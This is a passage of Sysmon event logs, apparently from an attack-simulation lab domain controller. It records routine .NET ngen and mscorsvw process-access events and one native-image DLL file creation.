C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.135","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-0010FBD70D00}","TargetProcessId":"1604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7492,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-0010FBD70D00}\r\nTargetProcessId: 1604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-0010FBD70D00}","TargetProcessId":"1604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7493,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-0010FBD70D00}\r\nTargetProcessId: 1604\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-0010FBD70D00}","TargetProcessId":"1604","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7494,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:23.338\r\nProcessGuid: {90617006-42CF-5F2D-0000-0010FBD70D00}\r\nProcessId: 1604\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\644-0\\System.ComponentModel.DataAnnotations.dll\r\nCreationUtcTime: 2020-08-07 12:02:23.338","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:23.338","ProcessGuid":"{90617006-42CF-5F2D-0000-0010FBD70D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\644-0\\System.ComponentModel.DataAnnotations.dll","CreationUtcTime":"2020-08-07 12:02:23.338","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7495,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.369\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001087D40C00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.369","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001087D40C00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7496,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-001087D40C00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-001087D40C00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7497,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-0010C1DB0D00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-0010C1DB0D00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7498,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.432\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-00103ADF0D00}\r\nTargetProcessId: 3032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.432","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-00103ADF0D00}","TargetProcessId":"3032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7499,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.432\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-00103ADF0D00}\r\nTargetProcessId: 3032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:23.432","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CF-5F2D-0000-00103ADF0D00}","TargetProcessId":"3032","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7500,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:23.447\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CF-5F2D-0000-00103ADF0D00}\r\nTargetProcessId: 3032\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 